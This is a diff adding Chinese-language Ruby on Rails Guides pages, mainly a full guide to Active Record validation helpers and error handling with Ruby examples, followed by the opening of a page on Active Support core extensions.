+class Person < ActiveRecord::Base
+  validates :name, presence: true
+end
+
+>> p = Person.new
+# => #<Person id: nil, name: nil>
+>> p.errors.messages
+# => {}
+
+>> p.valid?
+# => false
+>> p.errors.messages
+# => {name:["can't be blank"]}
+
+>> p = Person.create
+# => #<Person id: nil, name: nil>
+>> p.errors.messages
+# => {name:["can't be blank"]}
+
+>> p.save
+# => false
+
+>> p.save!
+# => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+
+>> Person.create!
+# => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+
+
+
+

invalid?valid? 的逆测试,会触发数据验证,如果找到错误就返回 true,否则返回 false

1.5 errors[] +

要检查对象的某个属性是否合法,可以使用 errors[:attribute]errors[:attribute] 中包含 :attribute 的所有错误。如果某个属性没有错误,就会返回空数组。

这个方法只在数据验证之后才能使用,因为它只是用来收集错误信息的,并不会触发验证。而且,和前面介绍的 ActiveRecord::Base#invalid? 方法不一样,因为 errors[:attribute] 不会验证整个对象,只检查对象的某个属性是否出错。

+
+class Person < ActiveRecord::Base
+  validates :name, presence: true
+end
+
+>> Person.new.errors[:name].any? # => false
+>> Person.create.errors[:name].any? # => true
+
+
+
+

我们会在“处理验证错误”一节详细介绍验证错误。现在,我们来看一下 Rails 默认提供的数据验证帮助方法。

2 数据验证帮助方法

Active Record 预先定义了很多数据验证帮助方法,可以直接在模型类定义中使用。这些帮助方法提供了常用的验证规则。每次验证失败后,都会向对象的 errors 集合中添加一个消息,这些消息和所验证的属性是关联的。

每个帮助方法都可以接受任意数量的属性名,所以一行代码就能在多个属性上做同一种验证。

所有的帮助方法都可指定 :on:message 选项,指定何时做验证,以及验证失败后向 errors 集合添加什么消息。:on 选项的可选值是 :create:update。每个帮助函数都有默认的错误消息,如果没有通过 :message 选项指定,则使用默认值。下面分别介绍各帮助方法。

2.1 acceptance +

这个方法检查表单提交时,用户界面中的复选框是否被选中。这个功能一般用来要求用户接受程序的服务条款,阅读一些文字,等等。这种验证只针对网页程序,不会存入数据库(如果没有对应的字段,该方法会创建一个虚拟属性)。

+
+class Person < ActiveRecord::Base
+  validates :terms_of_service, acceptance: true
+end
+
+
+
+

这个帮助方法的默认错误消息是“must be accepted”。

这个方法可以指定 :accept 选项,决定可接受什么值。默认为“1”,很容易修改:

+
+class Person < ActiveRecord::Base
+  validates :terms_of_service, acceptance: { accept: 'yes' }
+end
+
+
+
+

2.2 validates_associated +

如果模型和其他模型有关联,也要验证关联的模型对象,可以使用这个方法。保存对象时,会在相关联的每个对象上调用 valid? 方法。

+
+class Library < ActiveRecord::Base
+  has_many :books
+  validates_associated :books
+end
+
+
+
+

这个帮助方法可用于所有关联类型。

不要在关联的两端都使用 validates_associated,这样会生成一个循环。

validates_associated 的默认错误消息是“is invalid”。注意,相关联的每个对象都有各自的 errors 集合,错误消息不会都集中在调用该方法的模型对象上。

2.3 confirmation +

如果要检查两个文本字段的值是否完全相同,可以使用这个帮助方法。例如,确认 Email 地址或密码。这个帮助方法会创建一个虚拟属性,其名字为要验证的属性名后加 _confirmation

+
+class Person < ActiveRecord::Base
+  validates :email, confirmation: true
+end
+
+
+
+

在视图中可以这么写:

+
+<%= text_field :person, :email %>
+<%= text_field :person, :email_confirmation %>
+
+
+
+

只有 email_confirmation 的值不是 nil 时才会做这个验证。所以要为确认属性加上存在性验证(后文会介绍 presence 验证)。

+
+class Person < ActiveRecord::Base
+  validates :email, confirmation: true
+  validates :email_confirmation, presence: true
+end
+
+
+
+

这个帮助方法的默认错误消息是“doesn't match confirmation”。

2.4 exclusion +

这个帮助方法检查属性的值是否不在指定的集合中。集合可以是任何一种可枚举的对象。

+
+class Account < ActiveRecord::Base
+  validates :subdomain, exclusion: { in: %w(www us ca jp),
+    message: "%{value} is reserved." }
+end
+
+
+
+

exclusion 方法要指定 :in 选项,设置哪些值不能作为属性的值。:in 选项有个别名 :with,作用相同。上面的例子设置了 :message 选项,演示如何获取属性的值。

默认的错误消息是“is reserved”。

2.5 format +

这个帮助方法检查属性的值是否匹配 :with 选项指定的正则表达式。

+
+class Product < ActiveRecord::Base
+  validates :legacy_code, format: { with: /\A[a-zA-Z]+\z/,
+    message: "only allows letters" }
+end
+
+
+
+

默认的错误消息是“is invalid”。

2.6 inclusion +

这个帮助方法检查属性的值是否在指定的集合中。集合可以是任何一种可枚举的对象。

+
+class Coffee < ActiveRecord::Base
+  validates :size, inclusion: { in: %w(small medium large),
+    message: "%{value} is not a valid size" }
+end
+
+
+
+

inclusion 方法要指定 :in 选项,设置可接受哪些值。:in 选项有个别名 :within,作用相同。上面的例子设置了 :message 选项,演示如何获取属性的值。

该方法的默认错误消息是“is not included in the list”。

2.7 length +

这个帮助方法验证属性值的长度,有多个选项,可以使用不同的方法指定长度限制:

+
+class Person < ActiveRecord::Base
+  validates :name, length: { minimum: 2 }
+  validates :bio, length: { maximum: 500 }
+  validates :password, length: { in: 6..20 }
+  validates :registration_number, length: { is: 6 }
+end
+
+
+
+

可用的长度限制选项有:

+
    +
  • +:minimum:属性的值不能比指定的长度短;
  • +
  • +:maximum:属性的值不能比指定的长度长;
  • +
  • +:in(或 :within):属性值的长度在指定值之间。该选项的值必须是一个范围;
  • +
  • +:is:属性值的长度必须等于指定值;
  • +
+

默认的错误消息根据长度验证类型而有所不同,还是可以 :message 定制。定制消息时,可以使用 :wrong_length:too_long:too_short 选项,%{count} 表示长度限制的值。

+
+class Person < ActiveRecord::Base
+  validates :bio, length: { maximum: 1000,
+    too_long: "%{count} characters is the maximum allowed" }
+end
+
+
+
+

这个帮助方法默认统计字符数,但可以使用 :tokenizer 选项设置其他的统计方式:

+
+class Essay < ActiveRecord::Base
+  validates :content, length: {
+    minimum: 300,
+    maximum: 400,
+    tokenizer: lambda { |str| str.scan(/\w+/) },
+    too_short: "must have at least %{count} words",
+    too_long: "must have at most %{count} words"
+  }
+end
+
+
+
+

注意,默认的错误消息使用复数形式(例如,“is too short (minimum is %{count} characters”),所以如果长度限制是 minimum: 1,就要提供一个定制的消息,或者使用 presence: true 代替。:in:within 的值比 1 小时,都要提供一个定制的消息,或者在 length 之前,调用 presence 方法。

2.8 numericality +

这个帮助方法检查属性的值是否值包含数字。默认情况下,匹配的值是可选的正负符号后加整数或浮点数。如果只接受整数,可以把 :only_integer 选项设为 true

如果 :only_integertrue,则使用下面的正则表达式验证属性的值。

+
+/\A[+-]?\d+\Z/
+
+
+
+

否则,会尝试使用 Float 把值转换成数字。

注意上面的正则表达式允许最后出现换行符。

+
+class Player < ActiveRecord::Base
+  validates :points, numericality: true
+  validates :games_played, numericality: { only_integer: true }
+end
+
+
+
+

除了 :only_integer 之外,这个方法还可指定以下选项,限制可接受的值:

+
    +
  • +:greater_than:属性值必须比指定的值大。该选项默认的错误消息是“must be greater than %{count}”;
  • +
  • +:greater_than_or_equal_to:属性值必须大于或等于指定的值。该选项默认的错误消息是“must be greater than or equal to %{count}”;
  • +
  • +:equal_to:属性值必须等于指定的值。该选项默认的错误消息是“must be equal to %{count}”;
  • +
  • +:less_than:属性值必须比指定的值小。该选项默认的错误消息是“must be less than %{count}”;
  • +
  • +:less_than_or_equal_to:属性值必须小于或等于指定的值。该选项默认的错误消息是“must be less than or equal to %{count}”;
  • +
  • +:odd:如果设为 true,属性值必须是奇数。该选项默认的错误消息是“must be odd”;
  • +
  • +:even:如果设为 true,属性值必须是偶数。该选项默认的错误消息是“must be even”;
  • +
+

默认的错误消息是“is not a number”。

2.9 presence +

这个帮助方法检查指定的属性是否为非空值,调用 blank? 方法检查值是否为 nil 或空字符串,即空字符串或只包含空白的字符串。

+
+class Person < ActiveRecord::Base
+  validates :name, :login, :email, presence: true
+end
+
+
+
+

如果要确保关联对象存在,需要测试关联的对象本身是否存在,而不是用来映射关联的外键。

+
+class LineItem < ActiveRecord::Base
+  belongs_to :order
+  validates :order, presence: true
+end
+
+
+
+

为了能验证关联的对象是否存在,要在关联中指定 :inverse_of 选项。

+
+class Order < ActiveRecord::Base
+  has_many :line_items, inverse_of: :order
+end
+
+
+
+

如果验证 has_onehas_many 关联的对象是否存在,会在关联的对象上调用 blank?marked_for_destruction? 方法。

因为 false.blank? 的返回值是 true,所以如果要验证布尔值字段是否存在要使用 validates :field_name, inclusion: { in: [true, false] }

默认的错误消息是“can't be blank”。

2.10 absence +

这个方法验证指定的属性值是否为空,使用 present? 方法检测值是否为 nil 或空字符串,即空字符串或只包含空白的字符串。

+
+class Person < ActiveRecord::Base
+  validates :name, :login, :email, absence: true
+end
+
+
+
+

如果要确保关联对象为空,需要测试关联的对象本身是否为空,而不是用来映射关联的外键。

+
+class LineItem < ActiveRecord::Base
+  belongs_to :order
+  validates :order, absence: true
+end
+
+
+
+

为了能验证关联的对象是否为空,要在关联中指定 :inverse_of 选项。

+
+class Order < ActiveRecord::Base
+  has_many :line_items, inverse_of: :order
+end
+
+
+
+

如果验证 has_onehas_many 关联的对象是否为空,会在关联的对象上调用 present?marked_for_destruction? 方法。

因为 false.present? 的返回值是 false,所以如果要验证布尔值字段是否为空要使用 validates :field_name, exclusion: { in: [true, false] }

默认的错误消息是“must be blank”。

2.11 uniqueness +

这个帮助方法会在保存对象之前验证属性值是否是唯一的。该方法不会在数据库中创建唯一性约束,所以有可能两个数据库连接创建的记录字段的值是相同的。为了避免出现这种问题,要在数据库的字段上建立唯一性索引。关于多字段索引的详细介绍,参阅 MySQL 手册

+
+class Account < ActiveRecord::Base
+  validates :email, uniqueness: true
+end
+
+
+
+

这个验证会在模型对应的数据表中执行一个 SQL 查询,检查现有的记录中该字段是否已经出现过相同的值。

:scope 选项可以指定其他属性,用来约束唯一性验证:

+
+class Holiday < ActiveRecord::Base
+  validates :name, uniqueness: { scope: :year,
+    message: "should happen once per year" }
+end
+
+
+
+

还有个 :case_sensitive 选项,指定唯一性验证是否要区分大小写,默认值为 true

+
+class Person < ActiveRecord::Base
+  validates :name, uniqueness: { case_sensitive: false }
+end
+
+
+
+

注意,有些数据库的设置是,查询时不区分大小写。

默认的错误消息是“has already been taken”。

2.12 validates_with +

这个帮助方法把记录交给其他的类做验证。

+
+class GoodnessValidator < ActiveModel::Validator
+  def validate(record)
+    if record.first_name == "Evil"
+      record.errors[:base] << "This person is evil"
+    end
+  end
+end
+
+class Person < ActiveRecord::Base
+  validates_with GoodnessValidator
+end
+
+
+
+

record.errors[:base] 中的错误针对整个对象,而不是特定的属性。

validates_with 方法的参数是一个类,或一组类,用来做验证。validates_with 方法没有默认的错误消息。在做验证的类中要手动把错误添加到记录的错误集合中。

实现 validate 方法时,必须指定 record 参数,这是要做验证的记录。

和其他验证一样,validates_with 也可指定 :if:unless:on 选项。如果指定了其他选项,会包含在 options 中传递给做验证的类。

+
+class GoodnessValidator < ActiveModel::Validator
+  def validate(record)
+    if options[:fields].any?{|field| record.send(field) == "Evil" }
+      record.errors[:base] << "This person is evil"
+    end
+  end
+end
+
+class Person < ActiveRecord::Base
+  validates_with GoodnessValidator, fields: [:first_name, :last_name]
+end
+
+
+
+

注意,做验证的类在整个程序的生命周期内只会初始化一次,而不是每次验证时都初始化,所以使用实例变量时要特别小心。

如果做验证的类很复杂,必须要用实例变量,可以用纯粹的 Ruby 对象代替:

+
+class Person < ActiveRecord::Base
+  validate do |person|
+    GoodnessValidator.new(person).validate
+  end
+end
+
+class GoodnessValidator
+  def initialize(person)
+    @person = person
+  end
+
+  def validate
+    if some_complex_condition_involving_ivars_and_private_methods?
+      @person.errors[:base] << "This person is evil"
+    end
+  end
+
+  # ...
+end
+
+
+
+

2.13 validates_each +

这个帮助方法会把属性值传入代码库做验证,没有预先定义验证的方式,你应该在代码库中定义验证方式。要验证的每个属性都会传入块中做验证。在下面的例子中,我们确保名和姓都不能以小写字母开头:

+
+class Person < ActiveRecord::Base
+  validates_each :name, :surname do |record, attr, value|
+    record.errors.add(attr, 'must start with upper case') if value =~ /\A[a-z]/
+  end
+end
+
+
+
+

代码块的参数是记录,属性名和属性值。在代码块中可以做任何检查,确保数据合法。如果验证失败,要向模型添加一个错误消息,把数据标记为不合法。

3 常用的验证选项

常用的验证选项包括:

3.1 :allow_nil +

指定 :allow_nil 选项后,如果要验证的值为 nil 就会跳过验证。

+
+class Coffee < ActiveRecord::Base
+  validates :size, inclusion: { in: %w(small medium large),
+    message: "%{value} is not a valid size" }, allow_nil: true
+end
+
+
+
+

3.2 :allow_blank +

:allow_blank 选项和 :allow_nil 选项类似。如果要验证的值为空(调用 blank? 方法,例如 nil 或空字符串),就会跳过验证。

+
+class Topic < ActiveRecord::Base
+  validates :title, length: { is: 5 }, allow_blank: true
+end
+
+Topic.create(title: "").valid?  # => true
+Topic.create(title: nil).valid? # => true
+
+
+
+

3.3 :message +

前面已经介绍过,如果验证失败,会把 :message 选项指定的字符串添加到 errors 集合中。如果没指定这个选项,Active Record 会使用各种验证帮助方法的默认错误消息。

3.4 :on +

:on 选项指定什么时候做验证。所有内建的验证帮助方法默认都在保存时(新建记录或更新记录)做验证。如果想修改,可以使用 on: :create,指定只在创建记录时做验证;或者使用 on: :update,指定只在更新记录时做验证。

+
+class Person < ActiveRecord::Base
+  # it will be possible to update email with a duplicated value
+  validates :email, uniqueness: true, on: :create
+
+  # it will be possible to create the record with a non-numerical age
+  validates :age, numericality: true, on: :update
+
+  # the default (validates on both create and update)
+  validates :name, presence: true
+end
+
+
+
+

4 严格验证

数据验证还可以使用严格模式,失败后会抛出 ActiveModel::StrictValidationFailed 异常。

+
+class Person < ActiveRecord::Base
+  validates :name, presence: { strict: true }
+end
+
+Person.new.valid?  # => ActiveModel::StrictValidationFailed: Name can't be blank
+
+
+
+

通过 :strict 选项,还可以指定抛出什么异常:

+
+class Person < ActiveRecord::Base
+  validates :token, presence: true, uniqueness: true, strict: TokenGenerationException
+end
+
+Person.new.valid?  # => TokenGenerationException: Token can't be blank
+
+
+
+

5 条件验证

有时只有满足特定条件时做验证才说得通。条件可通过 :if:unless 选项指定,这两个选项的值可以是 Symbol、字符串、Proc 或数组。:if 选项指定何时做验证。如果要指定何时不做验证,可以使用 :unless 选项。

5.1 指定 Symbol

:if:unless 选项的值为 Symbol 时,表示要在验证之前执行对应的方法。这是最常用的设置方法。

+
+class Order < ActiveRecord::Base
+  validates :card_number, presence: true, if: :paid_with_card?
+
+  def paid_with_card?
+    payment_type == "card"
+  end
+end
+
+
+
+

5.2 指定字符串

:if:unless 选项的值还可以是字符串,但必须是 Ruby 代码,传入 eval 方法中执行。当字符串表示的条件非常短时才应该使用这种形式。

+
+class Person < ActiveRecord::Base
+  validates :surname, presence: true, if: "name.nil?"
+end
+
+
+
+

5.3 指定 Proc

:if and :unless 选项的值还可以是 Proc。使用 Proc 对象可以在行间编写条件,不用定义额外的方法。这种形式最适合用在一行代码能表示的条件上。

+
+class Account < ActiveRecord::Base
+  validates :password, confirmation: true,
+    unless: Proc.new { |a| a.password.blank? }
+end
+
+
+
+

5.4 条件组合

有时同一个条件会用在多个验证上,这时可以使用 with_options 方法:

+
+class User < ActiveRecord::Base
+  with_options if: :is_admin? do |admin|
+    admin.validates :password, length: { minimum: 10 }
+    admin.validates :email, presence: true
+  end
+end
+
+
+
+

with_options 代码块中的所有验证都会使用 if: :is_admin? 这个条件。

5.5 联合条件

另一方面,当多个条件规定验证是否应该执行时,可以使用数组。而且,同一个验证可以同时指定 :if:unless 选项。

+
+class Computer < ActiveRecord::Base
+  validates :mouse, presence: true,
+                    if: ["market.retail?", :desktop?]
+                    unless: Proc.new { |c| c.trackpad.present? }
+end
+
+
+
+

只有当 :if 选项的所有条件都返回 true,且 :unless 选项中的条件返回 false 时才会做验证。

6 自定义验证方式

如果内建的数据验证帮助方法无法满足需求时,可以选择自己定义验证使用的类或方法。

6.1 自定义验证使用的类

自定义的验证类继承自 ActiveModel::Validator,必须实现 validate 方法,传入的参数是要验证的记录,然后验证这个记录是否合法。自定义的验证类通过 validates_with 方法调用。

+
+class MyValidator < ActiveModel::Validator
+  def validate(record)
+    unless record.name.starts_with? 'X'
+      record.errors[:name] << 'Need a name starting with X please!'
+    end
+  end
+end
+
+class Person
+  include ActiveModel::Validations
+  validates_with MyValidator
+end
+
+
+
+

在自定义的验证类中验证单个属性,最简单的方法是集成 ActiveModel::EachValidator 类。此时,自定义的验证类中要实现 validate_each 方法。这个方法接受三个参数:记录,属性名和属性值。

+
+class EmailValidator < ActiveModel::EachValidator
+  def validate_each(record, attribute, value)
+    unless value =~ /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i
+      record.errors[attribute] << (options[:message] || "is not an email")
+    end
+  end
+end
+
+class Person < ActiveRecord::Base
+  validates :email, presence: true, email: true
+end
+
+
+
+

如上面的代码所示,可以同时使用内建的验证方法和自定义的验证类。

6.2 自定义验证使用的方法

还可以自定义方法验证模型的状态,如果验证失败,向 errors 集合添加错误消息。然后还要使用类方法 validate 注册这些方法,传入自定义验证方法名的 Symbol 形式。

类方法可以接受多个 Symbol,自定义的验证方法会按照注册的顺序执行。

+
+class Invoice < ActiveRecord::Base
+  validate :expiration_date_cannot_be_in_the_past,
+    :discount_cannot_be_greater_than_total_value
+
+  def expiration_date_cannot_be_in_the_past
+    if expiration_date.present? && expiration_date < Date.today
+      errors.add(:expiration_date, "can't be in the past")
+    end
+  end
+
+  def discount_cannot_be_greater_than_total_value
+    if discount > total_value
+      errors.add(:discount, "can't be greater than total value")
+    end
+  end
+end
+
+
+
+

默认情况下,每次调用 valid? 方法时都会执行自定义的验证方法。使用 validate 方法注册自定义验证方法时可以设置 :on 选项,执行什么时候运行。:on 的可选值为 :create:update

+
+class Invoice < ActiveRecord::Base
+  validate :active_customer, on: :create
+
+  def active_customer
+    errors.add(:customer_id, "is not active") unless customer.active?
+  end
+end
+
+
+
+

7 处理验证错误

除了前面介绍的 valid?invalid? 方法之外,Rails 还提供了很多方法用来处理 errors 集合,以及查询对象的合法性。

下面介绍其中一些常用的方法。所有可用的方法请查阅 ActiveModel::Errors 的文档。

7.1 errors +

ActiveModel::Errors 的实例包含所有的错误。其键是每个属性的名字,值是一个数组,包含错误消息字符串。

+
+class Person < ActiveRecord::Base
+  validates :name, presence: true, length: { minimum: 3 }
+end
+
+person = Person.new
+person.valid? # => false
+person.errors.messages
+ # => {:name=>["can't be blank", "is too short (minimum is 3 characters)"]}
+
+person = Person.new(name: "John Doe")
+person.valid? # => true
+person.errors.messages # => {}
+
+
+
+

7.2 errors[] +

errors[] 用来获取某个属性上的错误消息,返回结果是一个由该属性所有错误消息字符串组成的数组,每个字符串表示一个错误消息。如果字段上没有错误,则返回空数组。

+
+class Person < ActiveRecord::Base
+  validates :name, presence: true, length: { minimum: 3 }
+end
+
+person = Person.new(name: "John Doe")
+person.valid? # => true
+person.errors[:name] # => []
+
+person = Person.new(name: "JD")
+person.valid? # => false
+person.errors[:name] # => ["is too short (minimum is 3 characters)"]
+
+person = Person.new
+person.valid? # => false
+person.errors[:name]
+ # => ["can't be blank", "is too short (minimum is 3 characters)"]
+
+
+
+

7.3 errors.add +

add 方法可以手动添加某属性的错误消息。使用 errors.full_messageserrors.to_a 方法会以最终显示给用户的形式显示错误消息。这些错误消息的前面都会加上字段名可读形式(并且首字母大写)。add 方法接受两个参数:错误消息要添加到的字段名和错误消息本身。

+
+class Person < ActiveRecord::Base
+  def a_method_used_for_validation_purposes
+    errors.add(:name, "cannot contain the characters !@#%*()_-+=")
+  end
+end
+
+person = Person.create(name: "!@#")
+
+person.errors[:name]
+ # => ["cannot contain the characters !@#%*()_-+="]
+
+person.errors.full_messages
+ # => ["Name cannot contain the characters !@#%*()_-+="]
+
+
+
+

还有一种方法可以实现同样地效果,使用 []= 设置方法:

+
+  class Person < ActiveRecord::Base
+    def a_method_used_for_validation_purposes
+      errors[:name] = "cannot contain the characters !@#%*()_-+="
+    end
+  end
+
+  person = Person.create(name: "!@#")
+
+  person.errors[:name]
+   # => ["cannot contain the characters !@#%*()_-+="]
+
+  person.errors.to_a
+   # => ["Name cannot contain the characters !@#%*()_-+="]
+
+
+
+

7.4 errors[:base] +

错误消息可以添加到整个对象上,而不是针对某个属性。如果不想管是哪个属性导致对象不合法,只想把对象标记为不合法状态,就可以使用这个方法。errors[:base] 是个数组,可以添加字符串作为错误消息。

+
+class Person < ActiveRecord::Base
+  def a_method_used_for_validation_purposes
+    errors[:base] << "This person is invalid because ..."
+  end
+end
+
+
+
+

7.5 errors.clear +

如果想清除 errors 集合中的所有错误消息,可以使用 clear 方法。当然了,在不合法的对象上调用 errors.clear 方法后,这个对象还是不合法的,虽然 errors 集合为空了,但下次调用 valid? 方法,或调用其他把对象存入数据库的方法时, 会再次进行验证。如果任何一个验证失败了,errors 集合中就再次出现值了。

+
+class Person < ActiveRecord::Base
+  validates :name, presence: true, length: { minimum: 3 }
+end
+
+person = Person.new
+person.valid? # => false
+person.errors[:name]
+ # => ["can't be blank", "is too short (minimum is 3 characters)"]
+
+person.errors.clear
+person.errors.empty? # => true
+
+p.save # => false
+
+p.errors[:name]
+# => ["can't be blank", "is too short (minimum is 3 characters)"]
+
+
+
+

7.6 errors.size +

size 方法返回对象上错误消息的总数。

+
+class Person < ActiveRecord::Base
+  validates :name, presence: true, length: { minimum: 3 }
+end
+
+person = Person.new
+person.valid? # => false
+person.errors.size # => 2
+
+person = Person.new(name: "Andrea", email: "andrea@example.com")
+person.valid? # => true
+person.errors.size # => 0
+
+
+
+

8 在视图中显示验证错误

在模型中加入数据验证后,如果在表单中创建模型,出错时,你或许想把错误消息显示出来。

因为每个程序显示错误消息的方式不同,所以 Rails 没有直接提供用来显示错误消息的视图帮助方法。不过,Rails 提供了这么多方法用来处理验证,自己编写一个也不难。使用脚手架时,Rails 会在生成的 _form.html.erb 中加入一些 ERB 代码,显示模型错误消息的完整列表。

假设有个模型对象存储在实例变量 @post 中,视图的代码可以这么写:

+
+<% if @post.errors.any? %>
+  <div id="error_explanation">
+    <h2><%= pluralize(@post.errors.count, "error") %> prohibited this post from being saved:</h2>
+
+    <ul>
+    <% @post.errors.full_messages.each do |msg| %>
+      <li><%= msg %></li>
+    <% end %>
+    </ul>
+  </div>
+<% end %>
+
+
+
+

而且,如果使用 Rails 的表单帮助方法生成表单,如果某个表单字段验证失败,会把字段包含在一个 <div> 中:

+
+<div class="field_with_errors">
+ <input id="post_title" name="post[title]" size="30" type="text" value="">
+</div>
+
+
+
+

然后可以根据需求为这个 div 添加样式。脚手架默认添加的 CSS 如下:

+
+.field_with_errors {
+  padding: 2px;
+  background-color: red;
+  display: table;
+}
+
+
+
+

所有出错的表单字段都会放入一个内边距为 2 像素的红色框内。

+ +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/active_support_core_extensions.html b/v4.1/active_support_core_extensions.html new file mode 100644 index 0000000..e578862 --- /dev/null +++ b/v4.1/active_support_core_extensions.html @@ -0,0 +1,3461 @@ + + + + + + + +Active Support 核心扩展 — Ruby on Rails 指南 + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ +
+
+

Active Support 核心扩展

Active Support 作为 Ruby on Rails 的一个组件,可以用来添加 Ruby 语言扩展、工具集以及其他这类事物。

它从语言的层面上进行了强化,既可起效于一般 Rails 程序开发,又能增强 Ruby on Rails 框架自身。

读完本文,你将学到:

+
    +
  • 核心扩展是什么。
  • +
  • 如何加载全部扩展。
  • +
  • 如何恰如其分的选出你需要的扩展。
  • +
  • Active Support 都提供了哪些功能。
  • +
+ + +
+

Chapters

+
    +
  1. +如何加载核心扩展 + + +
  2. +
  3. +所有对象都可用的扩展 + + +
  4. +
  5. +Module的扩展 + + +
  6. +
  7. +Extensions to Class + + +
  8. +
  9. +Extensions to String + + +
  10. +
  11. +Extensions to Numeric + + +
  12. +
  13. +Extensions to Integer + + +
  14. +
  15. +Extensions to BigDecimal + + +
  16. +
  17. +Extensions to Enumerable + + +
  18. +
  19. +Extensions to Array + + +
  20. +
  21. +Extensions to Hash + + +
  22. +
  23. +Extensions to Regexp + + +
  24. +
  25. +Extensions to Range + + +
  26. +
  27. +Extensions to Proc + + +
  28. +
  29. +Extensions to Date + + +
  30. +
  31. +Extensions to DateTime + + +
  32. +
  33. +Extensions to Time + + +
  34. +
  35. +Extensions to File + + +
  36. +
  37. +Extensions to Marshal + + +
  38. +
  39. +Extensions to Logger + + +
  40. +
  41. Extensions to NameError
  42. +
  43. Extensions to LoadError
  44. +
+ +
+ +
+
+ +
+
+
+

1 如何加载核心扩展

1.1 单独的 Active Support

为了使初始空间尽可能干净,默认情况下 Active Support 什么都不加载。它被拆分成许多小组件,这样一来你便可以只加载自己需要的那部分,同时它也提供了一系列便捷入口使你很容易加载相关的扩展,甚至把全部扩展都加载进来。

因而,像下面这样只简单用一个 require:

+
+require 'active_support'
+
+
+
+

对象会连blank?都没法响应。让我们来看下该如何加载它的定义。

1.1.1 选出合适的定义

找到blank?最轻便的方法就是直接找出定义它的那个文件。

对于每一个定义在核心扩展里的方法,本指南都会注明此方法定义于何处。例如这里提到的blank?,会像这样注明:

定义于 active_support/core_ext/object/blank.rb

这意味着你可以像下面这样 require 它:

+
+require 'active_support'
+require 'active_support/core_ext/object/blank'
+
+
+
+

Active Support 经过了严格的修订,确保选定的文件只会加载必要的依赖,若没有则不加载。

1.1.2 加载一组核心扩展

接下来加载Object下的全部扩展。一般来说,想加载SomeClass下的全部可用扩展,只需加载active_support/core_ext/some_class即可。

所以,若要加载Object下的全部扩展(包含blank?):

+
+require 'active_support'
+require 'active_support/core_ext/object'
+
+
+
+
1.1.3 加载全部核心扩展

你可能更倾向于加载全部核心扩展,有一个文件能办到:

+
+require 'active_support'
+require 'active_support/core_ext'
+
+
+
+
1.1.4 加载全部 Active Support

最后,如果你想要 Active Support 的全部内容,只需:

+
+require 'active_support/all'
+
+
+
+

这样做并不会把整个 Active Support 预加载到内存里,鉴于autoload的机制,其只有在真正用到时才会加载。

1.2 Ruby on Rails 程序里的 Active Support

除非把config.active_support.bare设置为 true, 否则 Ruby on Rails 的程序会加载全部的 Active Support。如此一来,程序只会加载框架为自身需要挑选出来的扩展,同时也可像上文所示,可以从任何级别加载特定扩展。

2 所有对象都可用的扩展

2.1 blank? and present? +

以下各值在 Rails 程序里都看作 blank。

+
    +
  • nilfalse

  • +
  • 只包含空白的字符串(参照下文注释),

  • +
  • 空的数组和散列表

  • +
  • 任何其他能响应 empty? 方法且为空的对象。

  • +
+

判断字符串是否为空依据了 Unicode-aware 字符类 [:space:],所以例如 U+2029(段落分隔符)这种会被当作空白。

注意这里没有提到数字。通常来说,0和0.0都不是blank。

例如,ActionController::HttpAuthentication::Token::ControllerMethods里的一个方法使用了blank?来检验 token 是否存在。

+
+def authenticate(controller, &login_procedure)
+  token, options = token_and_options(controller.request)
+  unless token.blank?
+    login_procedure.call(token, options)
+  end
+end
+
+
+
+

present? 方法等同于 !blank?, 下面的例子出自ActionDispatch::Http::Cache::Response

+
+def set_conditional_cache_control!
+  return if self["Cache-Control"].present?
+  ...
+end
+
+
+
+

定义于 active_support/core_ext/object/blank.rb.

2.2 presence +

presence方法如果满足present?则返回调用者,否则返回nil。它适用于下面这种情况:

+
+host = config[:host].presence || 'localhost'
+
+
+
+

定义于 active_support/core_ext/object/blank.rb.

2.3 duplicable? +

A few fundamental objects in Ruby are singletons. For example, in the whole life of a program the integer 1 refers always to the same instance: +Ruby 里有些基本对象是单例的。比如,在整个程序的生命周期里,数字1永远指向同一个实例。

+
+1.object_id                 # => 3
+Math.cos(0).to_i.object_id  # => 3
+
+
+
+

因而,这些对象永远没法用dupclone复制。

+
+true.dup  # => TypeError: can't dup TrueClass
+
+
+
+

有些数字虽然不是单例的,但也同样无法复制:

+
+0.0.clone        # => allocator undefined for Float
+(2**1024).clone  # => allocator undefined for Bignum
+
+
+
+

Active Support 提供了 duplicable? 方法来判断一个对象是否能够被复制:

+
+"foo".duplicable? # => true
+"".duplicable?    # => true
+0.0.duplicable?   # => false
+false.duplicable? # => false
+
+
+
+

根据定义,所有的对象的duplicated?的,除了:nilfalsetrue、 符号、 数字、 类和模块。

任何的类都可以通过移除dupclone方法,或者在其中抛出异常,来禁用其复制功能。虽然duplicable?方法是基于上面的硬编码列表,但是它比用rescue快的多。确保仅在你的情况合乎上面的硬编码列表时候再使用它。

定义于 active_support/core_ext/object/duplicable.rb.

2.4 deep_dup +

deep_dup方法返回一个对象的深度拷贝。一般来说,当你dup一个包含其他对象的对象时,Ruby 并不会把被包含的对象一同dup,它只会创建一个对象的浅表拷贝。假如你有一个字符串数组,如下例所示:

+
+array     = ['string']
+duplicate = array.dup
+
+duplicate.push 'another-string'
+
+# 对象被复制了,所以只有 duplicate 的数组元素有所增加
+array     # => ['string']
+duplicate # => ['string', 'another-string']
+
+duplicate.first.gsub!('string', 'foo')
+
+# 第一个数组元素并未被复制,所以两个数组都发生了变化
+array     # => ['foo']
+duplicate # => ['foo', 'another-string']
+
+
+
+

如你所见,对Array实例进行复制后,我们得到了另一个对象,因而我们修改它时,原始对象并未跟着有所变化。不过对数组元素而言,情况却有所不同。因为dup不会创建深度拷贝,所以数组里的字符串依然是同一个对象。

如果你需要一个对象的深度拷贝,就应该使用deep_dup。我们再来看下面这个例子:

+
+array     = ['string']
